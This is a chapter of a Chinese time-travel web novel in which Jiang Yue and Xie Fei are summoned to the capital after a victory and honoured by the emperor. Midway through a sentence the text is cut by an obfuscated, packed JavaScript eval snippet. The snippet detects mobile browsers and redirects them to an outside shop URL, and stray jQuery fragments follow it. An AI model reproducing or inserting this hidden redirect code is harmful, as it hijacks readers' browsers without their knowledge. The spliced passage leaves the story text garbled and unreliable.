此次兰城大捷,是大景近三十年来都没有过的大胜仗,京师震动,景怀帝当即就宣首功者皆谢斐、姜月等人进京受赏。
谢宅内,钦差郭亮将圣旨宣读完毕,让谢斐和姜月接旨。
谢斐伸手接过圣旨:“多谢圣上。”
郭亮满面春色,俯身扶起两人:“都快起来吧,两位居功至伟,果真是自古英雄出少年呐。”
谢斐道:“郭大人谬赞了,此次兰城无恙是多亏了兵民戮力同心,晚辈不敢居功。”
郭亮拍拍谢斐的肩:“哈哈,勿要谦虚。”
宋青岚上前道:“郭大人一路风尘劳累,不如稍微歇息一番,让我们尽尽地主之谊。”
郭亮摇摇头:“多谢美意,但本官要尽快回京复命,就不多留了。陛下急着见你们,也请诸位尽快启程往京。”
说完,郭亮就告辞了。
姜月看着圣旨,若有所思。
谢斐的父亲谢士祯调任京官,之前宋青岚本身就打算带着姜月去京城的,从而避过了兰城这一劫。按照后世的历史,谢氏一族中就寥寥几人活了下来。
现在,兰城守下来了,谢氏也安然,她能不能算是任务完成了呢?
谢斐走到姜月身边,略微欠身凑近了她:“月儿,想什么呢?”
姜月不动声色拉开一点距离,回道:“在想去京城都要带些什么。”
谢斐无所谓地摆摆手:“这有什么,到了京城在置办也来得及。”
“什么该带什么不用带,还是要好好收拾一番的。”
“哦……那还请快些。”
姜月觉着谢斐肯定有事,就问道:“你要做甚?”
“父亲往京上任户部侍郎,我到时候估计要留在京中。”
姜月“嗯”了一声,迈开步悠闲向前走去:“所以呢?”
“月儿到时候应当也要留京吧。”
原来是为这事,姜月笑看了谢斐一眼:“不知道,但之前听宋姨说,到时候我还要回来呢。”
“唉,此一时彼一时啊,”谢斐跟在姜月身后,“因为京中事务繁多,母亲也要在京里帮父亲的忙呢,约莫也有好一段时间。”
行至中庭,姜月抬头看了一眼不远处,这时节院里的月季开了,红粉交映,争奇斗艳。
谢斐说得不错,此一时彼一时。虽然兰城是保下来了,但还有一个莫名的乌月公主在盯着谢斐,两次刺杀,真不知道后面还有什么幺蛾子在等着。
思及此,姜月想起自己和某个黑水若的小将军还有个赌约。
她赢了,现在正好让他兑现。
安排好谢家的事务,尽快将一切收拾停当后,宋青岚就带着谢斐和姜月驱车上京。因还要去复皇命,一路都不敢耽搁,风雨兼程。
只在途径京畿南面的一处茉莉花林时,马上就要进京,便在此修整一番。
姜月不太想下去,就只靠坐在马车前辕上透透气。谢斐也坐了上来,递给姜月一枝茉莉花。
姜月接过,低头嗅了嗅。
茉莉香清新动人,姜月指尖轻抚着小小的白花,问道:“还不走么?”
“现在天色还早,赶明天一早进城就行。”
再悠闲地陪姜月聊了一会天,谢斐突然下车离开,不一会就回来了,手里拿着一个白瓷碗。
谢斐站在马车前,将碗递给姜月:“给你的。”
姜月起身,好奇地接过。
碗里盛着的是白粥,还有些蜜饯碎果作陪,舀了一勺,才发现里面还有茉莉花。
见谢斐一脸期待地看着自己,姜月莞尔:“谢哥哥做的?”
谢斐点点头:“母亲教我的,我第一次做,快尝尝看。”
姜月舀起一勺,尝了一口。嗯,米的火候正好,甜度适中,软糯可口。
“好吃。”
“那就好,不够了还有,”谢斐压着心中雀跃,道,“辛苦月儿妹妹给我做了那么多东西,现在也算小小回报一下。”
“是,没想到谢哥哥手这么巧呢。”
难怪他非要到这歇息休整,原来是为准备这个。
听着姜月清脆的笑声,谢斐欲盖弥彰地眺望远处:“喜欢就好。”
想起谢斐此前曾说过她凭什么管他,姜月忍不住逗他:“对了,敢问谢哥哥你是我谁,为什么给我洗手作羹汤?”
谢斐也想起了那时候说的混话,一时羞恼转身:“这不是都给你赔罪了么,月儿快别揪着不放了。”
眼睛扫过他微红的耳尖,姜月想起一些传闻。
谢斐作为才貌都在历史中留名的人,后世自然是少不了脑补他一些风流韵事。正史上没有记载他婚姻几何,也没说他有什么红颜知己,这就给了各大野史想象空间。
直到现在,姜月才想起来自己好像在哪看过黑水若乌月公主和谢斐的狗血同人,什么三生三世纠缠因爱生恨。还有和高皇后爱女微云公主的虐恋纠葛……微云公主苦苦守望爱人,却在黎明到来前与世长辞,独留谢斐一人站在宫墙柳下,遥思故人。
过去看的一些糟糕玩意,这会全想起来了,姜月嘴角慢慢扬起。
等谢斐定下心,奇怪姜月怎么半天都没动静,探头一看,就是姜月带笑的莫名神色。
谢斐心里一毛,迟疑开口:“怎么了,月儿……想到什么好事了么?”
姜月点头:“就是在想,谢哥哥此番进京,该有不少姑娘小姐喜欢才是。”
原来是敲打他,但是也不对,明明就一副看戏的表情。
“那才不会,现在风云波动,真情该是多难得的东西。”
“这倒是。”
不过说归说,真实情况和后世的绮想还是大相径庭的。乌月几次三番对谢斐下毒手,哪里有什么情意在,正史上谢斐和微月公主也几乎没什么交集。剩下几个佳人也是差不多的情况,都是硬凑的。
休整一番后,众人再次出发。
第二日一早,掐着点进入京城。在正北门承德门,早有一队宫中人在候着了,除此之外,还有几个朝中大员亲自在大门接待。
下了马车,众官员之中,姜月一眼就望到一位身穿深紫官服仪表堂堂的大员,看着她神情略有动容。
0秒猜出亲爹是谁。
被宫人接引经过时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16824176|191104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,姜月叫了一声:“爹。”
姜良琦眨眨眼,勉力收回眼中泪光:“先去宫里,圣上已经在等着了。”
“嗯。”
姜月跟着宫人,坐上了去往皇宫的轿子。
这次皇帝可是给足了排场,禁军开路,文武大员随行。京中万人空巷,民众纷纷自发前来观看,一路跟随,手捧鲜花彩绸,抛往轿上。
偶有花卉兰草被丢到随行的兵士官人身上,他们也感到沾光,骑在马上,都挺直了脊背。
这可是大胜仗啊!号称铁骑无敌天下的黑水若,如今竟然败了,败在了他们大景手上。
姜月些微掀开帘子,看了一眼外面的盛况,就放下了。
人抬的轿子摇摇晃晃,这下就要见到景怀帝,姜月趁此仔细梳理了一下思绪。
景怀帝真名宋之远,历史上评价不低,知人善任又勤政爱民,保底算是个守成之君,放在其他地方估计能当个中兴之主。
虽然后世也有懦弱无力的评价,但作为一个登基前后集齐所有帝位灾难的皇帝,从父亲猜忌到兄弟阎墙,从皇后强势到岳父擅权,景怀帝依然能保持精神正常,已经超越大多数人了。
这也算是姜月此次进京的倚仗之一,皇帝靠谱真是难得,不知能省多少事。
到了皇宫的太平门前,姜月和谢斐下了轿子,随引路太监步行走入宫中。恢宏雄伟乾清殿中,文武官员在侧,正中皇位上,姜月见到了当今圣上。
景怀帝生得一脸面善,姜月看着很有既视感,如果换上常服活脱脱就是一邻家热心大叔。
“果真是,长江后浪推前浪,”皇帝一脸赞许地看着底下少年少女,“有如此人才在我大景,何愁天下不平!”
“陛下圣明,天佑大景——”
总之是经过了漫长的繁文礼节和歌颂祝词,姜月被皇帝收为义女,封昭月公主,谢斐获兵部侍郎官职。
成了公主姜月还是蛮惊讶的,虽是常规的笼络手段之一,但也可见此次兰城大捷真是在大景臣民心中留下了浓墨重彩的一笔。
“多谢陛下恩赐,民女……儿臣一定谨记陛下教诲,追随陛下之志,为大景死而后已。”
“好好好。”
皇帝拍了两下手:“真是虎父无犬女,姜卿教女有方啊。”
姜良琦上前一步,拱手行礼:“小女此前一直寄养在外,臣不但没有尽到教养之责,也未尽父亲之职,不敢居功。”
皇帝大笑曰:“姜爱卿不必过谦。来人,把东西呈上来。”
侍卫捧上一个长盒,皇帝亲自打开,里面是一柄剑身上雕刻日月山河的宝剑。
“月儿。”
姜月跪地:“儿臣在。”
“朕听闻此次兰城之战,你前安定内城,后救人于外,安我大景江山有功。有臣子如此,朕深感欣慰,特赐你山河宝剑,令人内外。万望君臣同心,山河无恙。”
这算是放权,姜月一瞬间幻视曾经给手下画大饼的自己。当然也因为姜月她爹在朝中并无党派,忠臣孤臣一个,这赏赐不好给谢斐,给她更合适。
“多谢陛下,儿臣领命。”